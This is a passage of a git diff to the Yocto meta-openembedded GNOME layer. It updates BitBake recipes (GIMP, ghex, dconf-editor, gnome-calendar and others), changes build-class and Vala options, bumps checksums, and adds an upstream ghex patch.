+VALA_MESON_OPTION = "with-vala"
+VALA_MESON_ENABLE_FLAG ?= 'enabled'
+VALA_MESON_DISABLE_FLAG ?= 'disabled'
PACKAGECONFIG[pulseaudio] = "-Dpulseaudio=enabled,-Dpulseaudio=disabled,pulseaudio"
PACKAGECONFIG[sasl] = "-Dsasl=enabled,-Dsasl=disabled,cyrus-sasl"
diff --git a/meta-openembedded/meta-gnome/recipes-connectivity/libnma/libnma_1.10.6.bb b/meta-openembedded/meta-gnome/recipes-connectivity/libnma/libnma_1.10.6.bb
index bff9a3360f..997a5a71b3 100644
--- a/meta-openembedded/meta-gnome/recipes-connectivity/libnma/libnma_1.10.6.bb
+++ b/meta-openembedded/meta-gnome/recipes-connectivity/libnma/libnma_1.10.6.bb
@@ -4,7 +4,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "glib-2.0 gtk+3 gtk4 networkmanager"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gobject-introspection gtk-doc gettext vala features_check
REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG','gcr','x11','',d)} opengl"
diff --git a/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-script-Do-not-export-_IO_stdin_used.patch b/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch
index eafd497ae2..eafd497ae2 100644
--- a/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-script-Do-not-export-_IO_stdin_used.patch
+++ b/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch
diff --git a/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.32.0.bb b/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.34.0.bb
index 20fc0f3868..312d759dbf 100644
--- a/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.32.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.34.0.bb
@@ -4,14 +4,13 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "gtk+3 libnma libnotify libsecret libgudev networkmanager iso-codes nss"
-GNOMEBASEBUILDCLASS = "meson"
inherit features_check gnomebase gsettings gtk-icon-cache gettext pkgconfig
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-SRC_URI:append:libc-musl = " file://0001-linker-script-Do-not-export-_IO_stdin_used.patch"
+SRC_URI:append:libc-musl = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' file://0001-linker-scripts-Do-not-export-_IO_stdin_used.patch', '', d)}"
-SRC_URI[archive.sha256sum] = "a2b5affa1505ad43902959fdbe09e5bcec57b11ed333fa60458ffb9c62efba38"
+SRC_URI[archive.sha256sum] = "ab368e470f6b161fc8b834bc97912b7e79af92b8cd7ea399c2d400ce89aba5a8"
# We don't not have ubuntu's appindicator (yet?)
EXTRA_OEMESON = "-Dappindicator=no"
diff --git a/meta-openembedded/meta-gnome/recipes-gimp/babl/babl_0.1.106.bb b/meta-openembedded/meta-gnome/recipes-gimp/babl/babl_0.1.106.bb
index 5a5f4f5e7c..61cd7ada9a 100644
--- a/meta-openembedded/meta-gnome/recipes-gimp/babl/babl_0.1.106.bb
+++ b/meta-openembedded/meta-gnome/recipes-gimp/babl/babl_0.1.106.bb
@@ -2,9 +2,8 @@ SUMMARY = "Babl is a dynamic, any to any, pixel format conversion library"
LICENSE = "LGPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=6a6a8e020838b23406c81b19c1d46df6"
-GNOMEBASEBUILDCLASS = "meson"
-
GIR_MESON_OPTION = "enable-gir"
+VALA_MESON_OPTION = "enable-vapi"
inherit setuptools3 gnomebase gobject-introspection vala
diff --git a/meta-openembedded/meta-gnome/recipes-gimp/gegl/gegl_0.4.46.bb b/meta-openembedded/meta-gnome/recipes-gimp/gegl/gegl_0.4.46.bb
index 3a9478785d..8c3f89fa9b 100644
--- a/meta-openembedded/meta-gnome/recipes-gimp/gegl/gegl_0.4.46.bb
+++ b/meta-openembedded/meta-gnome/recipes-gimp/gegl/gegl_0.4.46.bb
@@ -17,9 +17,9 @@ DEPENDS:append:toolchain-clang = " openmp"
DEPENDS:remove:toolchain-clang:riscv32 = "openmp"
DEPENDS:remove:toolchain-clang:powerpc = "openmp"
-GNOMEBASEBUILDCLASS = "meson"
+VALA_MESON_OPTION = ""
-inherit features_check gnomebase vala gobject-introspection
+inherit features_check gnomebase gobject-introspection vala
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.34.bb b/meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.36.bb
index 7343036807..4526839ad6 100644
--- a/meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.34.bb
+++ b/meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.36.bb
@@ -37,6 +37,7 @@ DEPENDS = " \
"
DEPENDS:append:libc-musl = " libexecinfo"
+GNOMEBASEBUILDCLASS = "autotools"
inherit features_check gnomebase gtk-icon-cache gtk-doc mime-xdg
REQUIRED_DISTRO_FEATURES = "x11"
@@ -46,7 +47,7 @@ SHPV = "${@gnome_verdir("${PV}")}"
SRC_URI = "https://download.gimp.org/pub/${BPN}/v${SHPV}/${BP}.tar.bz2 \
file://0001-configure-Keep-first-line-of-compiler-version-string.patch \
file://0001-libtool-Do-not-add-build-time-library-paths-to-LD_LI.patch"
-SRC_URI[sha256sum] = "84004642d351b398a4293cd7fd3592044a944f05bb52850ee6068f247c657aa3"
+SRC_URI[sha256sum] = "3d3bc3c69a4bdb3aea9ba2d5385ed98ea03953f3857aafd1d6976011ed7cdbb2"
EXTRA_OECONF = "--disable-python \
--without-webkit \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_43.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_45.0.1.bb
index 5b37645604..32a69a0707 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_43.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_45.0.1.bb
@@ -2,10 +2,10 @@ SUMMARY = "Configuration editor for dconf"
LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
dconf \
+ desktop-file-utils-native \
gtk+3 \
glib-2.0 \
libhandy\
@@ -13,7 +13,8 @@ DEPENDS = " \
inherit gnomebase vala gsettings bash-completion pkgconfig gtk-icon-cache
-SRC_URI[archive.sha256sum] = "935a3c2dd76cc2a93cd5aee9a54d3947fb111eb396f4b63dc5f0ba8f8d099136"
+SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/45/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
+SRC_URI[archive.sha256sum] = "1180297678eedae6217cc514a2638c187d2f1d1ef2720cb9079b740c429941dd"
FILES:${PN} += " \
${datadir}/dbus-1 \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf_0.40.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf_0.40.0.bb
index 6641be86ee..c5c45a0264 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf_0.40.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf_0.40.0.bb
@@ -7,7 +7,6 @@ SRC_URI[archive.sha256sum] = "cf7f22a4c9200421d8d3325c5c1b8b93a36843650c9f95d645
DEPENDS = "dbus glib-2.0 intltool-native"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase bash-completion vala
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.1.bb
index eb3d07ce10..41ed940c0c 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.1.bb
@@ -15,14 +15,13 @@ DEPENDS = " \
lcms \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase pkgconfig gsettings gobject-introspection gettext mime-xdg features_check gtk-icon-cache
# FIXME: whilst eog uses libpeas <2, g-i is needed. This can be removed when libpeas2 is used.
REQUIRED_DISTRO_FEATURES = "opengl gobject-introspection-data"
-SRC_URI[archive.sha256sum] = "05cb2c9a66ba15870f47358cd4c1ce670f17e4c8b22e050d627d728ff88b57ba"
+SRC_URI[archive.sha256sum] = "c17f86704c722b36c01a168f1e51439be0bb279f2c6646f48b66e9d0f3a24cd2"
GTKDOC_MESON_OPTION = "gtk_doc"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/evince/evince_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/evince/evince_45.0.bb
index d97a8a0cf6..8b40241751 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/evince/evince_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/evince/evince_45.0.bb
@@ -25,7 +25,6 @@ DEPENDS = " \
zlib \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase itstool gnome-help pkgconfig gsettings gobject-introspection gettext mime-xdg gi-docgen features_check gtk-icon-cache
@@ -47,8 +46,8 @@ RRECOMMENDS:${PN} = "adwaita-icon-theme"
PACKAGES =+ "${PN}-nautilus-extension"
do_install:prepend() {
- sed -i -e 's|${B}/../${PN}-${PV}|/usr/src/debug/${PN}/${PV}-${PR}|g' ${B}/libview/ev-view-type-builtins.c
- sed -i -e 's|${B}/../${PN}-${PV}|/usr/src/debug/${PN}/${PV}-${PR}|g' ${B}/libdocument/ev-document-type-builtins.c
+ sed -i -e 's|${B}/../${PN}-${PV}|${TARGET_DBGSRC_DIR}|g' ${B}/libview/ev-view-type-builtins.c
+ sed -i -e 's|${B}/../${PN}-${PV}|${TARGET_DBGSRC_DIR}|g' ${B}/libdocument/ev-document-type-builtins.c
}
FILES:${PN} += "${datadir}/dbus-1 \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/evolution-data-server/evolution-data-server.inc b/meta-openembedded/meta-gnome/recipes-gnome/evolution-data-server/evolution-data-server.inc
index 511cc04af7..2f3bf61982 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/evolution-data-server/evolution-data-server.inc
+++ b/meta-openembedded/meta-gnome/recipes-gnome/evolution-data-server/evolution-data-server.inc
@@ -7,7 +7,8 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=6a6e689d19255cf0557f3fe7d7068212 \
file://src/camel/camel.h;endline=24;md5=342fc5e9357254bc30c24e43ae47d9a1 \
file://src/libedataserver/e-data-server-util.h;endline=20;md5=8f21a9c80ea82a4fb80b5f959f672543"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase upstream-version-is-even
-SRC_URI[archive.sha256sum] = "c9f793d99ba188ef8cf2891b8062d7e570e3cba22b8cfc46eb561c6cecc81d3a"
-PV = "3.50.0"
+SRC_URI[archive.sha256sum] = "91f4ffc38a1b8d2fe8939834449ac541c0bff4a39b444edc2a9529344a28e98a"
+PV = "3.50.1"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/file-roller/file-roller_43.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/file-roller/file-roller_43.0.bb
index f9b6841d6b..ce2b6d95b7 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/file-roller/file-roller_43.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/file-roller/file-roller_43.0.bb
@@ -2,7 +2,6 @@ SUMMARY = "An archive manager utility for the GNOME Environment"
LICENSE="GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
desktop-file-utils-native \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gdm/gdm_45.0.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gdm/gdm_45.0.1.bb
index 311d283257..d95ea90134 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gdm/gdm_45.0.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gdm/gdm_45.0.1.bb
@@ -17,7 +17,6 @@ DEPENDS = " \
REQUIRED_DISTRO_FEATURES = "x11 systemd pam polkit gobject-introspection-data"
GIR_MESON_OPTION = ""
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings pkgconfig gobject-introspection gettext systemd useradd itstool gnome-help features_check
SRC_URI = "https://download.gnome.org/sources/gdm/${@oe.utils.trim_version("${PV}", 1)}/gdm-${PV}.tar.xz"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gedit/gedit_46.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gedit/gedit_46.1.bb
index 01d7a072aa..c0221b9a72 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gedit/gedit_46.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gedit/gedit_46.1.bb
@@ -3,7 +3,6 @@ SECTION = "x11/gnome"
LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=75859989545e37968a99b631ef42722e"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
appstream-glib-native \
@@ -19,7 +18,7 @@ DEPENDS = " \
tepl \
"
-inherit gnomebase gsettings itstool gnome-help gobject-introspection gtk-doc vala gettext features_check mime-xdg gtk-icon-cache python3targetconfig
+inherit gnomebase gsettings itstool gnome-help gobject-introspection gtk-doc gettext features_check mime-xdg gtk-icon-cache python3targetconfig
def gnome_verdir(v):
return oe.utils.trim_version(v, 1)
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/geocode-glib/geocode-glib_3.26.4.bb b/meta-openembedded/meta-gnome/recipes-gnome/geocode-glib/geocode-glib_3.26.4.bb
index 42659d0f61..a1495d6153 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/geocode-glib/geocode-glib_3.26.4.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/geocode-glib/geocode-glib_3.26.4.bb
@@ -3,7 +3,6 @@ SUMMARY = "A convenience library for the geocoding"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=55ca817ccb7d5b5b66355690e9abc605"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_OPTION = "enable-introspection"
GTKDOC_MESON_OPTION = "enable-gtk-doc"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gexiv2/gexiv2_0.14.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/gexiv2/gexiv2_0.14.2.bb
index 15091d4cd4..8fd6583104 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gexiv2/gexiv2_0.14.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gexiv2/gexiv2_0.14.2.bb
@@ -4,7 +4,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=625f055f41728f84a8d7938acc35bdc2"
DEPENDS = "exiv2 python3-pygobject-native"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
inherit gnomebase gobject-introspection gtk-doc python3native vala
@@ -25,3 +24,11 @@ src_package_preprocess () {
sed -i -e "s,${B}/../${BPN}-${PV}/${BPN}/,,g" \
${B}/gexiv2/gexiv2-enums.cpp
}
+
+do_install:append() {
+ # gexiv2 harcodes usr/lib as install path, so this corrects it to actual libdir
+ if [ "${prefix}/lib" != "${libdir}" ]; then
+ mv ${D}/${prefix}/lib/* ${D}/${libdir}/
+ rm -rf ${D}/${prefix}/lib
+ fi
+}
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gfbgraph/gfbgraph_0.2.5.bb b/meta-openembedded/meta-gnome/recipes-gnome/gfbgraph/gfbgraph_0.2.5.bb
index faeaa8ccb9..e9ee434add 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gfbgraph/gfbgraph_0.2.5.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gfbgraph/gfbgraph_0.2.5.bb
@@ -10,7 +10,7 @@ DEPENDS = " \
libsoup-2.4 \
gnome-online-accounts \
"
-
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gtk-doc gobject-introspection pkgconfig features_check
# for gnome-online-accounts
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex/0001-gtkhex-Local-variables-in-switch-statement-should-be.patch b/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex/0001-gtkhex-Local-variables-in-switch-statement-should-be.patch
new file mode 100644
index 0000000000..61cd3b1809
--- /dev/null
+++ b/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex/0001-gtkhex-Local-variables-in-switch-statement-should-be.patch
@@ -0,0 +1,50 @@
+From b00b8332ab19e41c75ce143f45ab4585502c020b Mon Sep 17 00:00:00 2001
+From: Logan Rathbone <poprocks@gmail.com>
+Date: Tue, 24 Oct 2023 14:06:04 -0400
+Subject: [PATCH] gtkhex: Local variables in switch statement should be in own
+ scope
+
+Fixes: #74
+
+Thanks to: David C. Manuelda
+
+Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/ghex/-/commit/b00b8332ab19e41c75ce143f45ab4585502c020b]
+---
+ src/gtkhex.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/gtkhex.c b/src/gtkhex.c
+index b401cd9..18e0433 100644
+--- a/src/gtkhex.c
++++ b/src/gtkhex.c
+@@ -1941,6 +1941,7 @@ key_press_cb (GtkEventControllerKey *controller,
+ break;
+
+ case GDK_KEY_Home:
++ {
+ gint64 line_beg = self->cursor_pos;
+
+ while (line_beg % self->cpl != 0)
+@@ -1948,9 +1949,11 @@ key_press_cb (GtkEventControllerKey *controller,
+
+ hex_widget_set_cursor (self, line_beg);
+ ret = GDK_EVENT_STOP;
++ }
+ break;
+
+ case GDK_KEY_End:
++ {
+ gint64 line_end = self->cursor_pos;
+
+ while (line_end % self->cpl != self->cpl - 1)
+@@ -1958,6 +1961,7 @@ key_press_cb (GtkEventControllerKey *controller,
+
+ hex_widget_set_cursor (self, MIN (line_end, payload_size));
+ ret = GDK_EVENT_STOP;
++ }
+ break;
+
+ default:
+--
+2.42.0
+
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_3.18.4.bb b/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_3.18.4.bb
deleted file mode 100644
index 08e50409eb..0000000000
--- a/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_3.18.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GHex - a hex editor for GNOME"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-DEPENDS = " \
- glib-2.0-native \
- gtk+3 \
-"
-
-inherit gnomebase gsettings gtk-icon-cache gnome-help gettext upstream-version-is-even
-
-SRC_URI[archive.md5sum] = "7e6ed808766bc18285bdc6999bdf0f15"
-SRC_URI[archive.sha256sum] = "c2d9c191ff5bce836618779865bee4059db81a3a0dff38bda3cc7a9e729637c0"
-
-FILES:${PN} += "${datadir}/metainfo"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_45.0.bb
new file mode 100644
index 0000000000..42c53471bb
--- /dev/null
+++ b/meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_45.0.bb
@@ -0,0 +1,21 @@
+SUMMARY = "GHex - a hex editor for GNOME"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+
+DEPENDS = " \
+ desktop-file-utils-native \
+ glib-2.0-native \
+ gtk4 \
+ libadwaita \
+"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+inherit gnomebase gsettings gtk-icon-cache gnome-help gettext gobject-introspection vala gi-docgen
+
+SRC_URI += "file://0001-gtkhex-Local-variables-in-switch-statement-should-be.patch"
+SRC_URI[archive.sha256sum] = "05cecc4561ca40b257c5db31da9f68d696133efc0ae427ed82fb985a986e840e"
+
+FILES:${PN} += "${libdir} ${datadir}/metainfo"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gjs/gjs_1.78.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gjs/gjs_1.78.0.bb
index 0af9f5600c..67efdabd7d 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gjs/gjs_1.78.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gjs/gjs_1.78.0.bb
@@ -2,11 +2,10 @@ SUMMARY = "Javascript bindings for GNOME"
LICENSE = "MIT & LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=8dcea832f6acf45d856abfeb2d51ec48"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = "mozjs-115 cairo"
-inherit gnomebase gsettings gobject-introspection vala gettext features_check upstream-version-is-even pkgconfig
+inherit gnomebase gsettings gobject-introspection gettext features_check upstream-version-is-even pkgconfig
SRC_URI[archive.sha256sum] = "fbaa20e0917668830800f92951688f9fc08f01296affd5cdb4b35f750be27dc9"
SRC_URI += " \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-autoar/gnome-autoar_0.4.4.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-autoar/gnome-autoar_0.4.4.bb
index 29aeef1ad9..8d602eee44 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-autoar/gnome-autoar_0.4.4.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-autoar/gnome-autoar_0.4.4.bb
@@ -7,7 +7,6 @@ DEPENDS = " \
libarchive \
"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
GTKDOC_MESON_OPTION = "gtk_doc"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_45.0.bb
index 2934b7398b..704a0b6457 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_45.0.bb
@@ -4,11 +4,10 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b52fb0a6df395efb7047cb6fc56bfd7e"
SECTION = "x11/gnome"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext allarch
-SRC_URI[archive.sha256sum] = "4a8393b387135f2a6a424a1a0c3ac94e0742b62b8235a0923c929f51e04be04e"
+SRC_URI[archive.sha256sum] = "cee0e688fbae5ef7a75f335ada2d10779e08ebca9445f1586de32c5a9b6dee2d"
FILES:${PN} += " \
${datadir}/backgrounds \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth3_3.34.5.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth3_3.34.5.bb
index e2a885b1fb..2a97263125 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth3_3.34.5.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth3_3.34.5.bb
@@ -11,7 +11,6 @@ DEPENDS = "udev gtk+3 libnotify libcanberra bluez5"
GNOMEBN = "gnome-bluetooth"
S = "${WORKDIR}/${GNOMEBN}-${PV}"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
inherit features_check gnomebase gtk-icon-cache gtk-doc gobject-introspection upstream-version-is-even
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.6.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.7.bb
index 7cce14dba9..ba5e558264 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.6.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.7.bb
@@ -18,7 +18,6 @@ DEPENDS = " \
libadwaita \
"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
GTKIC_VERSION = "4"
@@ -26,7 +25,7 @@ inherit features_check gnomebase gtk-icon-cache gtk-doc gobject-introspection
REQUIRED_DISTRO_FEATURES = "x11 opengl"
-SRC_URI[archive.sha256sum] = "5864fe6f1e718715db26b62201b75a59020cf4247fec37645b3559cd2dba59d0"
+SRC_URI[archive.sha256sum] = "94df1729dbec3bb105e588eaf5312bbbaa05c49ea733202a10dc3f7532bdf869"
BT_PULSE_PACKS = " \
pulseaudio-lib-bluez5-util \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.2.bb
index ed2cb854d7..30f532c637 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.2.bb
@@ -18,8 +18,8 @@ DEPENDS = " \
GIR_MESON_OPTION = 'disable-introspection'
GIR_MESON_ENABLE_FLAG = 'false'
GIR_MESON_DISABLE_FLAG = 'true'
+VALA_MESON_OPTION = ''
-GNOMEBASEBUILDCLASS = "meson"
GTKIC_VERSION = '4'
inherit gnomebase gobject-introspection gnome-help vala gtk-icon-cache gettext features_check
@@ -29,7 +29,7 @@ def gnome_verdir(v):
REQUIRED_DISTRO_FEATURES = "x11 opengl"
-SRC_URI[archive.sha256sum] = "e58df0b5646111baf93ec5309b225d27b7c7f45deeee484af7914331b8cd2822"
+SRC_URI[archive.sha256sum] = "7dcbf32384897171cbe5483ec664d994e5e755e912ae1df911624f03c90867c2"
FILES:${PN} += " \
${datadir}/dbus-1 \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.1.bb
index a8b8123f80..99cb9f67e7 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.1.bb
@@ -17,17 +17,16 @@ DEPENDS = " \
geocode-glib \
"
-GNOMEBASEBUILDCLASS = "meson"
GTKIC_VERSION = '4'
inherit gnomebase gsettings gtk-icon-cache gettext features_check upstream-version-is-even mime-xdg
REQUIRED_DISTRO_FEATURES = "x11 opengl"
-SRC_URI[archive.sha256sum] = "8c1483cbba4388db410875ed09d64e9003f929b555d704076a6fe7bd7c1e65b2"
+SRC_URI[archive.sha256sum] = "7fa8507543865aa7432bb5319830c87158b5447ca09cca45b607dc6796c71008"
do_install:prepend() {
- sed -i -e 's|${S}/src|/usr/src/debug/${PN}/${PV}-${PR}/src|g' ${B}/src/gcal-enum-types.h
- sed -i -e 's|${S}/src|/usr/src/debug/${PN}/${PV}-${PR}/src|g' ${B}/src/gcal-enum-types.c
+ sed -i -e 's|${S}/src|${TARGET_DBGSRC_DIR}/src|g' ${B}/src/gcal-enum-types.h
+ sed -i -e 's|${S}/src|${TARGET_DBGSRC_DIR}/src|g' ${B}/src/gcal-enum-types.c
}
FILES:${PN} += " \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-commander/gnome-commander_1.16.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-commander/gnome-commander_1.16.1.bb
index 6aa28fc00f..474512daa8 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-commander/gnome-commander_1.16.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-commander/gnome-commander_1.16.1.bb
@@ -13,7 +13,6 @@ CXXFLAGS += "-D_LIBCPP_ENABLE_CXX17_REMOVED_AUTO_PTR"
inherit gnomebase itstool gettext gnome-help features_check meson gtk-icon-cache mime-xdg
ANY_OF_DISTRO_FEATURES = "${GTK2DISTROFEATURES}"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-console/gnome-console_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-console/gnome-console_45.0.bb
new file mode 100644
index 0000000000..748ea7b5a5
--- /dev/null
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-console/gnome-console_45.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "GNOME Console"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
